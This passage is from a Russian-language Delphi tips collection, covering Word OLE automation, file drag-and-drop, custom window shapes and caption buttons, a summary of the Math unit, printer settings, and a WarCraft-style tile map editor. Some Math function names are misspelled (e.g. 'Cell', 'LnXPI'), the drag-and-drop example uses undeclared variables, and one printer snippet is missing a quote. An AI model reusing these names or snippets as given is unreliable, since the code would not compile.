    W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);

    // Отключение фоновой печати (на LJ5L без этого был пустой лист)

    W.ToolsOptionsPrint(Background:=0);

   // Переходим к закладке Word'a 'Num'

    W.EditGoto('Num'); W.Insert(S);

   //Сохранение

    W.FileSaveAs('C:\MayPath\Reports\MyReport')

    W.FilePrint(NumCopies:='2'); // Печать 2-х копий

  finally

    W.ToolsOptionsPrint(Background:=1);

    W:=UnAssigned;

  end;

end;

{.....}

 === Cut Конец примера ===

Спасибо Сергею :) И еще, как определить установлен ли на компьютере Word, запустить его и загрузить в него текст из программы?

Пример:

var

MsWord: Variant;

...

try

// Если Word уже запущен

MsWord := GetActiveOleObject('Word.Application');

// Взять ссылку на запущенный OLE объект

except

  try

  // Word не запущен, запустить

  MsWord := CreateOleObject('Word.Application');

  // Создать ссылку на зарегистрированный OLE объект

  MsWord.Visible := True;

   except

    ShowMessage('Не могу запустить Microsoft Word');

    Exit;

   end;

  end;

end;

...

MSWord.Documents.Add; // Создать новый документ

MsWord.Selection.Font.Bold := True; // Установить жирный шрифт

MsWord.Selection.Font.Size := 12; // установить 12 кегль

MsWord.Selection.TypeText('Текст');

По командам OLE Automation сервера см. help по Microsoft Word Visual Basic.

Ну вот и все.

Перетаскивание файла

{ На эту форму можно бросить файл (например из проводника)

и он будет открыт }

unit Unit1;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics,

  Controls, Forms, Dialogs,StdCtrls,

  ShellAPI {обязательно!};

type

  TForm1 = class(TForm)

    Memo1: TMemo;

    FileNameLabel: TLabel;

    procedure FormCreate(Sender: TObject);

    procedure FormDestroy(Sender: TObject);

  protected

   {Это и есть самая главная процедура}

    procedure WMDropFiles(var Msg: TMessage); message wm_DropFiles;

end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMDropFiles(var Msg: TMessage);

var

   Filename: array[0 .. 256] of Char;

   Count   : integer;

begin

  { Получаем количество файлов (просто пример) }

   nCount := DragQueryFile( msg.WParam, $FFFFFFFF,

     acFileName, cnMaxFileNameLen);

{ Получаем имя первого файла }

  DragQueryFile( THandle(Msg.WParam),

     0, { это номер файла }

     Filename,SizeOf(Filename) ) ;

  { Открываем его }

  with FileNameLabel do begin

   Caption := LowerCase(StrPas(FileName));

   Memo1.Lines.LoadfromFile(Caption);

  end;

{ Отдаем сообщение о завершении процесса }

  DragFinish(THandle(Msg.WParam));

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

{ Говорим Windows, что на нас можно бросать файлы }

DragAcceptFiles(Handle, True);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

{ Закрываем за собой дверь золотым ключиком}

DragAcceptFiles(Handle, False);

end;

end.

Привлечение внимания к окну

Часто возникает проблема — в многооконном приложении необходимо обратить внимание пользователя на то, что какое-то из окон требует внимания (например, к нему пришло сообщение по DDE, в нем завершился какой-либо процесс, произошла ошибка...). Это легко сделать, используя команду API FlashWindow:

procedure TForm1.Timer1Timer(Sender: TObject);

 begin FlashWindow(Handle,true);

end;

В данном примере FlashWindow вызывается по таймеру ежесекундно, что приводит к миганию заголовка окна.

Заставка для программы

Сведения о программе, авторские права и т.д., лучше оформить в виде отдельной формы и показывать ее при запуске программы (как это сделано в Word).

Сделать это не сложно:

1. Создаете форму (например SplashForm).

2. Объявляете ее свободной (availableForms).

3. В Progect Source вставляете следующее (например):

program Splashin;

uses Forms, Main in 'MAIN.PAS', Splash in 'SPLASH.PAS'

{$R *.RES}

begin

 try

  SplashForm := TSplashForm.Create(Application);

  SplashForm.Show;

  SplashForm.Update;

  Application.CreateForm(TMainForm, MainForm);

  SplashForm.Hide;

 finally

  SplashForm.Free;

 end;

 Application.Run;

end.

И форма SplashForm держится на экране пока выполняется Create в главной форме. Но иногда она появляется и пропадает очень быстро, поэтому нужно сделать задержку:

1. Добавляете на форму таймер с событием:

procedure TSplashForm.Timer1Timer(Sender: TObject);

begin

 Timer1.Enabled := False;

end;

2. Событие onCloseQuery для формы:

procedure TSplashForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

 CanClose := Not Timer1.Enabled;

end;

3. И перед SplashForm.Hide; ставите цикл:

repeat

 Application.ProcessMessages;

until SplashForm.CloseQuery;

4. Все! Осталось установить на таймере период задержки 3-4 секунды.

5. На последок, у такой формы желательно убрать Caption:

SetWindowLong(Main.Handle,GWL_STYLE, GetWindowLong(Main.Handle, GWL_STYLE) AND NOT WS_CAPTION OR WS_SIZEBOX);

Прозрачная форма

Эта форма имет прозрачный фон!!!

unit unit1;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

  StdCtrls;

type

  TForm1 = class(TForm)

  Button1: TButton;

  Button2: TButton;

    // это просто кнопка на форме - для демонстрации

  protected

    procedure RebuildWindowRgn;

    procedure Resize; override;

  public

    constructor Create(AOwner: TComponent); override;

  end;

var

  Form1 : TForm1;

implementation

// ресурс этой формы

{$R *.DFM}

{ Прозрачная форма }

constructor TForm1.Create(AOwner: TComponent);

begin

  inherited;

  // убираем сколлбары, чтобы не мешались

  // при изменении размеров формы

  HorzScrollBar.Visible:= False;

  VertScrollBar.Visible:= False;

// строим новый регион

  RebuildWindowRgn;

end;

procedure TForm1.Resize;

begin

  inherited;

  // строим новый регион

  RebuildWindowRgn;

end;

procedure TForm1.RebuildWindowRgn;

var

  FullRgn, Rgn: THandle;

  ClientX, ClientY, I: Integer;

begin

// определяем относительные координаты клиенской части

  ClientX:= (Width - ClientWidth) div 2;

  ClientY:= Height - ClientHeight - ClientX;

  // создаем регион для всей формы

  FullRgn:= CreateRectRgn(0, 0, Width, Height);

  // создаем регион для клиентской части формы

  // и вычитаем его из FullRgn

  Rgn:= CreateRectRgn(ClientX, ClientY, ClientX + ClientWidth, ClientY +

ClientHeight);

  CombineRgn(FullRgn, FullRgn, Rgn, rgn_Diff);

// теперь добавляем к FullRgn регионы каждого контрольного элемента

  for I:= 0 to ControlCount -1 do

    with Controls[I] do begin

      Rgn:= CreateRectRgn(ClientX + Left, ClientY + Top, ClientX + Left +

Width, ClientY + Top + Height);

      CombineRgn(FullRgn, FullRgn, Rgn, rgn_Or);

    end;

// устанавливаем новый регион окна

  SetWindowRgn(Handle, FullRgn, True);

end;

end.

А как Вам понравится эта форма ?

unit rgnu;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

  Buttons, Menus;

type

  TForm1 = class(TForm)

    procedure FormCreate(Sender: TObject);

    procedure Button1Click(Sender: TObject);

    procedure FormPaint(Sender: TObject);

  private

    { Private declarations }

    rTitleBar : THandle;

    Center    : TPoint;

    CapY   : Integer;

    Circum    : Double;

    SB1       : TSpeedButton;

    RL, RR    : Double;

    procedure TitleBar(Act : Boolean);

    procedure WMNCHITTEST(var Msg: TWMNCHitTest);

      message WM_NCHITTEST;

    procedure WMNCACTIVATE(var Msg: TWMNCACTIVATE);

      message WM_NCACTIVATE;

    procedure WMSetText(var Msg: TWMSetText);

      message WM_SETTEXT;

  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

CONST

  TitlColors : ARRAY[Boolean] OF TColor =

    (clInactiveCaption, clActiveCaption);

  TxtColors : ARRAY[Boolean] OF TColor =

    (clInactiveCaptionText, clCaptionText);

procedure TForm1.FormCreate(Sender: TObject);

VAR

  rTemp, rTemp2    : THandle;

  Vertices : ARRAY[0..2] OF TPoint;

  X, Y     : INteger;

begin

  Caption := 'OOOH! Doughnuts!';

  BorderStyle := bsNone; {required}

  IF Width > Height THEN Width := Height

  ELSE Height := Width;  {harder to calc if width <> height}

  Center  := Point(Width DIV 2, Height DIV 2);

  CapY := GetSystemMetrics(SM_CYCAPTION)+8;

  rTemp := CreateEllipticRgn(0, 0, Width, Height);

  rTemp2 := CreateEllipticRgn((Width DIV 4), (Height DIV 4),

    3*(Width DIV 4), 3*(Height DIV 4));

  CombineRgn(rTemp, rTemp, rTemp2, RGN_DIFF);

  SetWindowRgn(Handle, rTemp, True);

  DeleteObject(rTemp2);

  rTitleBar  := CreateEllipticRgn(4, 4, Width-4, Height-4);

  rTemp := CreateEllipticRgn(CapY, CapY, Width-CapY, Height-CapY);

  CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_DIFF);

  Vertices[0] := Point(0,0);

  Vertices[1] := Point(Width, 0);

  Vertices[2] := Point(Width DIV 2, Height DIV 2);

  rTemp := CreatePolygonRgn(Vertices, 3, ALTERNATE);

  CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_AND);

  DeleteObject(rTemp);

  RL := ArcTan(Width / Height);

  RR := -RL + (22 / Center.X);

  X := Center.X-Round((Center.X-1-(CapY DIV 2))*Sin(RR));

  Y := Center.Y-Round((Center.Y-1-(CapY DIV 2))*Cos(RR));

  SB1 := TSpeedButton.Create(Self);

  WITH SB1 DO

    BEGIN

      Parent     := Self;

      Left       := X;

      Top        := Y;

      Width      := 14;

      Height     := 14;

      OnClick    := Button1Click;

      Caption    := 'X';

      Font.Style := [fsBold];

    END;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

  Close;

End;

procedure TForm1.WMNCHITTEST(var Msg: TWMNCHitTest);

begin

  Inherited;

  WITH Msg DO

    WITH ScreenToClient(Point(XPos,YPos)) DO

      IF PtInRegion(rTitleBar, X, Y) AND

       (NOT PtInRect(SB1.BoundsRect, Point(X,Y))) THEN

        Result := htCaption;

end;

procedure TForm1.WMNCActivate(var Msg: TWMncActivate);

begin

  Inherited;

  TitleBar(Msg.Active);

end;

procedure TForm1.WMSetText(var Msg: TWMSetText);

begin

  Inherited;

  TitleBar(Active);

end;

procedure TForm1.TitleBar(Act: Boolean);

VAR

  TF      : TLogFont;

  R       : Double;

  N, X, Y : Integer;

begin

  IF Center.X = 0 THEN Exit;

  WITH Canvas DO

    begin

      Brush.Style := bsSolid;

      Brush.Color := TitlColors[Act];

      PaintRgn(Handle, rTitleBar);

      R  := RL;

      Brush.Color := TitlColors[Act];

      Font.Name := 'Arial';

      Font.Size := 12;

      Font.Color := TxtColors[Act];

      Font.Style := [fsBold];

      GetObject(Font.Handle, SizeOf(TLogFont), @TF);

      FOR N := 1 TO Length(Caption) DO

        BEGIN

          X := Center.X-Round((Center.X-6)*Sin(R));

          Y := Center.Y-Round((Center.Y-6)*Cos(R));

          TF.lfEscapement := Round(R * 1800 / pi);

          Font.Handle := CreateFontIndirect(TF);

          TextOut(X, Y, Caption[N]);

          R := R - (((TextWidth(Caption[N]))+2) / Center.X);

          IF R < RR THEN Break;

        END;

      Font.Name := 'MS Sans Serif';

      Font.Size := 8;

      Font.Color := clWindowText;

      Font.Style := [];

    end;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

  WITH Canvas DO

    BEGIN

      Pen.Color := clBlack;

      Brush.Style := bsClear;

      Pen.Width := 1;

      Pen.Color := clWhite;

      Arc(1, 1, Width-1, Height-1, Width, 0, 0, Height);

      Arc((Width DIV 4)-1, (Height DIV 4)-1,

        3*(Width DIV 4)+1, 3*(Height DIV 4)+1, 0, Height, Width, 0);

      Pen.Color := clBlack;

      Arc(1, 1, Width-1, Height-1, 0, Height, Width, 0);

      Arc((Width DIV 4)-1, (Height DIV 4)-1,

        3*(Width DIV 4)+1, 3*(Height DIV 4)+1, Width, 0, 0, Height);

      TitleBar(Active);

    END;

end;

end.

Как получить короткий путь файла если имеется длинный ("c:\Program Files" ==> "c:\progra~1")

GetShortPathName()

Как создать свою кнопку в заголовке формы (на Caption Bar)

Непосредственно такой функции вроде нет, но можно изловчиться. Нарисовать там кнопку вручную и обрабатывать команды нажатия мышки на Caption Bar.

Пример.

unit Main;

interface

uses

  Windows, Buttons, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

  TForm1 = class(TForm)

    procedure FormResize(Sender: TObject);

  private

    CaptionBtn : TRect;

    procedure DrawCaptButton;

    procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint;

    procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE;

    procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT;

    procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;

    procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN;

  public

   { Public declarations }

  end;

var

  Form1: TForm1;

implementation

const

  htCaptionBtn = htSizeLast + 1;

{$R *.DFM}

procedure TForm1.DrawCaptButton;

var

  xFrame,  yFrame,  xSize,  ySize  : Integer;

  R : TRect;

begin

  //Dimensions of Sizeable Frame

  xFrame := GetSystemMetrics(SM_CXFRAME);

  yFrame := GetSystemMetrics(SM_CYFRAME);

  //Dimensions of Caption Buttons

  xSize  := GetSystemMetrics(SM_CXSIZE);

  ySize  := GetSystemMetrics(SM_CYSIZE);

  //Define the placement of the new caption button

  CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2,

                       yFrame + 2, xSize - 2, ySize - 4);

//Get the handle to canvas using Form's device context

  Canvas.Handle := GetWindowDC(Self.Handle);

  Canvas.Font.Name := 'Symbol';

  Canvas.Font.Color := clBlue;

  Canvas.Font.Style := [fsBold];

  Canvas.Pen.Color := clYellow;

  Canvas.Brush.Color := clBtnFace;

  try

    DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect, False, False, False);

    //Define a smaller drawing rectangle within the button

    R := Bounds(Width - xFrame - 4 * xSize + 2,

                       yFrame + 3, xSize - 6, ySize - 7);

    with CaptionBtn do

      Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W');

  finally

    ReleaseDC(Self.Handle, Canvas.Handle);

    Canvas.Handle := 0;

  end;

end;

procedure TForm1.WMNCPaint(var Msg : TWMNCPaint);

begin

  inherited;

  DrawCaptButton;

end;

procedure TForm1.WMNCActivate(var Msg : TWMNCActivate);

begin

  inherited;

  DrawCaptButton;

end;

procedure TForm1.WMSetText(var Msg : TWMSetText);

begin

  inherited;

  DrawCaptButton;

end;

procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest);

begin

  inherited;

  with Msg do

    if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top)) then

      Result := htCaptionBtn;

end;

procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown);

begin

  inherited;

  if (Msg.HitTest = htCaptionBtn) then

    ShowMessage('You hit the button on the caption bar');

end;

procedure TForm1.FormResize(Sender: TObject);

begin

//Force a redraw of caption bar if form is resized

  Perform(WM_NCACTIVATE, Word(Active), 0);

end;

end.

Преобразование текста OEM в Ansi

Эта версия работает под любым Delphi.

(Начиная с Delphi 2, это можно записать короче с использованием AnsiToOem и OemToAnsi.)

Здесь все просто.

function ConvertAnsiToOem(const S : string) : string;

{ ConvertAnsiToOem translates a string into the OEM-defined character set }

{$IFNDEF WIN32}

var

  Source, Dest : array[0..255] of Char;

{$ENDIF}

begin

{$IFDEF WIN32}

  SetLength(Result, Length(S));

  if Length(Result) > 0 then

    AnsiToOem(PChar(S), PChar(Result));

{$ELSE}

  if Length(Result) > 0 then

  begin

    AnsiToOem(StrPCopy(Source, S), Dest);

    Result := StrPas(Dest);

  end;

{$ENDIF}

end; { ConvertAnsiToOem }

function ConvertOemToAnsi(const S : string) : string;

{ ConvertOemToAnsi translates a string from the OEM-defined

  character set into either an ANSI or a wide-character string }

{$IFNDEF WIN32}

var

  Source, Dest : array[0..255] of Char;

{$ENDIF}

begin

{$IFDEF WIN32}

  SetLength(Result, Length(S));

  if Length(Result) > 0 then

    OemToAnsi(PChar(S), PChar(Result));

{$ELSE}

  if Length(Result) > 0 then

  begin

    OemToAnsi(StrPCopy(Source, S), Dest);

    Result := StrPas(Dest);

  end;

{$ENDIF}

end; { ConvertOemToAnsi }

Состояние кнопки insert (Insert/Overwrite)

{------------------------------------------}

{ Returns the status of the Insert key. }

{------------------------------------------}

function InsertOn: Boolean;

begin

 if LowOrderBitSet(GetKeyState(VK_INSERT)) then InsertOn := true

 else InsertOn := false

end;

Сводка функций модуля Math

Здесь я привожу полный список всех функций и процедур модуля Math. При переходе от Delphi 2 к Delphi 3 модуль Math почти не изменился, фирма Borland ввела в него только три новые функции: MaxIntValue, MInIntValue и Sumint. Эти функции отличаются от своих прототипов (MaxValue, MInValue и Sum) лишь тем, что работают исключительно с целыми числами, не принимая и не возвращая величин с плавающей точкой. Что касается остальных функций, то большинство из них вполне очевидно. Если вам покажется иначе — что ж, садитесь за исследования. И не надейтесь, что все тайны Delphi достанутся вам на блюдечке в виде help-файла!

Тригонометрические функции и процедуры

ArcCos — Арккосинус

ArcCosh — Пиперболический арккосинус

ArcSIn — Арксинус

ArcSInh — Гиперболический арксинус

ArcTahn — Гиперболический арктангенс

ArcTan2 — Арктангенс с учетом квадранта (функция ArcTan, не учитывающая квадрант, находится в модуле System)

Cosh — Гиперболический косинус

Cotan — Котангенс

CycleToRad — Преобразование циклов в радианы

DegToRad — Преобразование градусов в радианы

GradToRad — Преобразование градов в радианы

Hypot — Вычисление гипотенузы прямоугольного треугольника по длинам катетов

RadToCycle — Преобразование радианов в циклы

RadToDeg — Преобразование радианов в градусы

RacIToGrad — Преобразование радианов в грады

SinCos — Вычисление синуса и косинуса угла. Как и в случае SumAndSquares и MeanAndStdDev, одновременная генерация обеих величин происходит быстрее

Sinh — Гиперболический синус

Tan — Тангенс

Tanh — Гиперболический тангенс

Арифметические функции и процедуры

Cell — Округление вверх

Floor — Округление вниз

Frexp — Вычисление мантиссы и порядка заданной величины

IntPower — Возведение числа в целую степень. Если вы не собираетесь пользоваться экспонентами с плавающей точкой, желательно использовать эту функцию из-за ее скорости

Ldexp — Умножение Х на 2 в заданной степени

LnXPI — Вычисление натурального логарифма Х+1. Рекомендуется для X, близких к нулю

LogN — Вычисление логарифма Х по основанию N

LogIO — Вычисление десятичного логарифмах

Log2 — Вычисление двоичного логарифмах

Power — Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемо

Финансовые функции и процедуры

DoubleDecliningBalance — Вычисление амортизации методом двойного баланса

FutureValue — Будущее значение вложения

InterestPayment — Вычисление процентов по ссуде

InterestRate — Норма прибыли, необходимая для получения заданной суммы

InternalRateOfReturn — Вычисление внутренней скорости оборота вложения для ряда последовательных выплат

NetPresentValue — Вычисление чистой текущей стоимости вложения для ряда последовательных выплат с учетом процентной ставки

NumberOf Periods — Количество периодов, за которое вложение достигнет заданной величины

Payment — Размер периодической выплаты, необходимой для погашения ссуды, при заданном числе периодов, процентной ставке, а также текущем и будущем значениях ссуды

PerlodPayment — Платежи по процентам за заданный период

PresentValue — Текущее значение вложения

SLNDepreclatlon — Вычисление амортизации методом постоянной нормы

SYDepreclatlon — Вычисление амортизации методом весовых коэффициентов

Статистические функции и процедуры

MaxIntValue — Максимальное значение в наборе целых чисел. Функция появилась в Delphi 3. ее не существует в Delphi 2

MaxValue — Максимальное значение в наборе чисел. В Delphi 2 функция возвращает минималъное значение

Mean — Среднее арифметическое для набора чисел

MeanAndStdDev — Одновременное вычисление среднего арифметического и стандартного отклонения для набора чисел. Вычисляется быстрее, чем обе величины по отдельности

MinIntValLie — Минимальное значение в наборе целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2

MInValue — Минимальное значение в наборе чисел. В Delphi 2 функция возвращает максимальное значение

MoiiientSkewKurtosIs — Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора чисел

Norm — Норма для набора данных (квадратный корень из суммы квадратов)

PopnStdDev — Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях используется выборочное значение дисперсии, PopnVarlance (см. ниже)

PopnVarlance — Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n

RandG — Генерация нормально распределенных случайных чисел с заданным средним значением и среднеквадратическим отклонением

StdDev — Среднеквадратическое отклонение для набора чисел

Sum — Сумма набора чисел

SLimsAndSquares — Одновременное вычисление суммы и суммы квадратов для набора чисел. Как и в других функциях модуля Math, обе величины вычисляются быстрее, чем по отдельности

Sumint — Сумма набора целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2

SLimOfSquares — Сумма квадратов набора чисел

Total Variance — "Полная дисперсия" для набора чисел. Это сумма квадратов расстояний всех величин от их среднего арифметического

Variance — Выборочная дисперсия для набора чисел. Функция использует "несмещенную" формулу TotalVanапсе/ (n – 1)

Внутри конструктора Create компонента создаю другой компонент, но Delphi помещает запись о втором компоненте  в dfm-файл!

У меня такая проблема: я пишу компонент, который внутри себя создаёт другой компонент. Конструктор первого компонента выглядит примерно так: 

constructor TFirstComp.Create(AOwner:TComponent);

begin

 inherited Create(AOwner);

 SecondComp:=TSecondComp.Create(Owner)

end;

Проблема заключается в том, что при помещении первого компонента на форму в dfm-файл записывается информация и о втором компоненте тоже. А в pas-файл — только о первом. Это приводит к конфликтам. Для меня принципиально, чтобы хозяин у второго компонента был тот же, что и у первого. Как не дать Delphi поместить запись о TSecondComp в dfm-файл? 

Попробуйте сделать так: 

constructor TFirstComp.Create(AOwner:TComponent);

begin

 inherited Create(AOwner);

 SecondComp:=TSecondComp.Create(SELF);

end;

Т.е. дочернему компоненту в качастве владельца передавайте его непосредственного хозяина.

Как вставить иконку (или bitmap) в TRichEdit, причем так, чтобы пользователь мог ее удалить нажатием клавиши Del (как это сделано в Microsoft Word)? 

Посмотрите компонент RichEdit98 (полностью бесплатный). ftp://ftp.bcsmi.minsk.by/alex/

Глюки

TImage

При увеличении размера компонента TImage в RunTime пытаюсь рисовать заново на всем поле, но отображается только часть компонента (прежнего размера). В чем дело?

Ответ: Нужно при инициализации выполнить SetBounds(), с максимальными размерами.

QReport

Обнаружил, что компонент QReport никак не реагирует на установки принтера PrinterSetup диалога, вызываемого нажатием кнопочки собственного Preview!

В QuickReport есть собственный объект TQRPrinter, установки которого он использует при печати, а стандартные установки принтеров на него не влияют. В диалоге PrinterSetup, вызываемом из Preview можно лишь выбрать принтер на который нужно печатать (если, конечно, установлено несколько принтеров).

Советую поставить обновление QReport на 2.0J с .

Перед печатью (не только из QReport) программно установите требуемый драйвер принтера текущим для Windows

function SetDefPrn(const stDriver : string) : boolean;

begin

 SetPrinter(nil).Free;

 Result := WriteProfileString('windows', device', PChar( stDriver));

end;

После печати восстановите установки.

Создание редактора карт в стратегиях типа WarCraft

Довелось мне как-то озадачиться идеей написать редактор карт для моей новой игры. Скажу сразу, что задача эта не из простых. Приступим сразу к делу. Как правило, в двумерных стратегических играх типа Warcraft, Heroes of Might and Magic, Z и т. д. карты строятся из ячеек. Иными словами, карта — это матрица с некоторыми числовыми значениями внутри ячеек. Эти значения есть номера текстур (растровых картинок с изображениями земли, воды, камней и т. д., из которых и будет склеиваться Ваш уникальный ландшафт)

Рисунок 1

На рисунке изображена ну очень маленькая карта с размером матрицы 3×3. Для создания подобной карты задается двумерный массив ( Map : Array[3,3] of Byte ), записываются, каким-либо образом, в каждую ячейку порядковые номера текстур и при выводе карты на экран эти номера читаются из массива. Ну например:

…

For i := 0 to 2 do

 For j := 0 to 2 do Begin

  Number := Map[i,j];

  X := J * TextureWidth;

  Y := i * TextureHeight;

  DrawTexture(X,Y,Number);

 End;

…

Где Number – номер текстуры,

Х – координата текстуры на экране,

Y – то же самое,

DrawTexture – некая процедура вывода текстуры на экран.

Совет!!!

Если Вам заранее не известно из какого количества ячеек будет состоять Ваша карта, не используйте Tlist в Tlist'e для ее создания. Советую воспользоваться PbyteArray.

( GetMem(PbyteArray,MapWidth*MapHeight*SizeOf(Тип ячейки)) ).

Тип ячейки в нашем случае – Byte. Обращение в этом случае будет таким: Number := PbyteArray[Y*MapWidth + X]; Где X,Y – координаты нужной ячейки в матрице.

Все что мы рассмотрели выше подходит для карт на основе только лишь одного типа земли. Взгляните на рисунок расположенный выше. Вы увидите, что поскольку все текстуры разные — карта как-бы состоит из квадратиков. Кому она такая нужна? Хочется чтобы эти текстуры плавно перетекали друг в друга. Отсюда есть три выхода:

• Создавать карту из текстур мало отличающихся друг от друга и при рисовании карты выбирать их случайным образом.

• Налепить целю кучу "пересекающихся" между собой текстур и класть их на карту вручную.

• Так же налепить ту же кучу текстур и написать программу позволяющую автоматически распределять их на карте.

Первый способ не очень интересен. Он скорее подходит для создания ролевых игр. Где, как правило, присутствует базовый тип земли, а все остальное, такое как вода, камни, травка представляется объектами. Второй способ легок по реализации, но очень утомительно будет потом создавать карты в таком редакторе.

Посмотрите на рисунок. Если у Вас вся карта состоит из текстур с травой, а Вам надо добавить участок воды, то мы видим, что для того чтобы добиться плавного перетекания Вам придется добавить еще 8 промежуточных текстур окружающих текстуру с водой. Если делать это вручную (по второму способу), то это займет слишком много времени и сил. Поэтому нам второй способ тоже не подходит. Мы остановимся на третьем способе и будем создавать карту подобно тому, как это происходит в WarCraft'e. При добавлении текстуры на карту (фактически — записи номера текстуры в определенную ячейку матрицы), окружающие ее текстуры будут рассчитываться автоматически. Как этого добиться?

Рисунок 2

Я достаточно долго ломал голову над этой проблемой. Я пытался найти какой-нибудь способ позволяющий не утруждать компьютер громоздкими вычислениями и работать максимально быстро и эффективно. Один раз я даже вывел формулу, по которой рассчитывались новые значения ячеек, но она увы имела ограниченное действие (только 2 типа земли) и плохо подходила для создания карт, где требуется максимальное разнообразие. Но достаточно лирики, давайте вернемся к нашим баранам.

Прежде всего необходимо выяснить — какое количество переходных текстур нам понадобится для обеспечения плавного перетекания между двумя типами земель. Здесь есть свои тонкости.

Представим, что у нас имеется два типа земли: ВОДА и ЗЕМЛЯ, тогда: Во-первых нам понадобятся две базовых текстуры, это текстуры полностью заполненные водой или землей.

Рисунок 3

Во вторых нам понадобятся промежуточные текстуры. Сколько их нужно мы сейчас посчитаем.

Рисунок 4

Оказалось, что для плавного перетекания двух земель друг в друга надо 14 промежуточных текстур, плюс две базовых. Итого 16. Всякий программист знает, что это хорошая цифра.

Возможно кто-то спросит: А зачем так много? Не достаточно ли 8 текстур, как на рисунке 2 — где трава пересекается с водой? Нет не достаточно. Ведь ситуации бывают разные. Окружающие ячейки могут быть не полностью забиты травой ( в данном случае землей ), и тогда понадобятся дополнительные текстуры.

Тогда может последовать другой вопрос: Почему так мало текстур? Где например текстуры когда вода с трех сторон окружена землей, и с четырех, и другие? Не следует ли предусмотреть все случаи?

И это правильный вопрос, но здесь все зависит от конкретной реализации алгоритма автоматического вычисления необходимой текстуры. В моем примере он реализован так, что остальные текстуры не нужны. Объясню наглядно:

1. Текстуры воды окруженные землей с двух противоположных сторон превращаются в базовую текстуру земли (в текстуру заполненную только землей). Соответственно то же самое происходит когда вода окружена с трех или четырех сторон.

Рисунок 5

2. Текстуры воды окруженные с двух уголков на одной стороне превращаются в текстуры полностью окруженные землей с одной стороны. (если уголки с трех сторон, то вода оказывается окружена полностью с двух сторон, если уголков 4, то вода превращается в землю совсем).

Теперь, я надеюсь, все ясно. С помощью применения подобной техники количество промежуточных текстур удалось уменьшить ровно в два раза! Это существенная экономия памяти, особенно если учесть, что типов земель будет больше. Кстати в WarCraft'e, если я не ошибаюсь, используется такой же набор текстур.

Ну хорошо, теперь давайте еще посчитаем. Для "слияния" двух земель нам понадобилось 16 текстур. Но если к земле и воде добавить еще траву, то придется создавать также переходные текстуры для трава-земля и трава-вода. Это еще 32 текстуры. Добавим еще каменистую почву( надо же сделать карту разнообразнее). Еще 48 текстур. И так далее и так далее. А если мы хотим сделать несколько видов одной и той же текстуры( опять таки для разнообразия )? Количество текстур растет как на дрожжах. Что делать?

Но тут на помощь пришел опять-таки старый, добрый, затертый до дыр мышкой WarCraft. Никогда не замечали, что если в WarCraft'e, вернее в War Editor'e, "кладешь" воду на траву, то между травой и водой появляется прослойка земли? Вот и я заметил.

Рисунок 6а

Рисунок 6б

Посмотрите на эти два рисунка. Из них видно, что вода граничит только с землей, трава тоже граничит только с землей. Земля в данном случае является "переходным" типом земли. Достаточно создать текстуры вода-земля, трава-земля, камни-земля, песок-земля и т. д. По 16 штук на каждую землю и все. Можно больше не беспокоится. Земли будут соединяться между собой через "переходный" тип земли. Спасибо WarCraft'у.

Итак, с количеством текстур и тем какими они должны быть мы разобрались, и вот наконец-то мы приступаем к самой реализации данной задачи.

Условимся, что:

1. Ячейку с номером 12 я буду называть активной или текущей.

2. Землю которой мы рисуем я также буду называть активной или текущей.

3. Землю которая была прежде была в ячейке 12 я буду называть прежней.

4. Ячейки под номерами 6,7,8,11,13,16,17,18 я буду называть первым кругом.

5. Ячейки под номером 0,1,2,3,4,5,9,10,14,15,19,20,21,22,23,24 я буду называть вторым кругом.

6. Все текстуры имеющие в себе участок некоторого типа кроме переходного есть эта земля. То есть, к примеру, ячейки в первом круге – это вода.(см. Рисунок 6б)

Пусть для данного примера у нас будет три типа земли: ВОДА, ТРАВА, КАМНИ. Плюс переходный тип — ЗЕМЛЯ. Нам понадобится 48 текстур. Почему 48, а не 64? — спросите вы, — ведь типов-то 4. Потому, что переходный тип и так есть в каждом из трех первых типов, в промежуточных текстурах.

Допустим, что текстуры у Вас будут храниться в компоненте ImageList, для нашего случая это удобнее всего. Разместим мы их следующим образом: за номером 0 будет располагаться цельная текстура воды, номера 1–14 займут промежуточные текстуры ВОДА–ЗЕМЛЯ (как на Рисунке 4), номер 15 займет цельная текстура ЗЕМЛИ. Следующий элемент ТРАВА займет номера 16–31 по тому же принципу, элемент КАМНИ займет номера с 32–47. Как Вы наверное заметили, номера 15,31,47 оказываются заняты одинаковыми цельными текстурами земли. Их можно сделать немного отличающимися друг от друга для обеспечения большего разнообразия, а затем выбирать случайным образом.

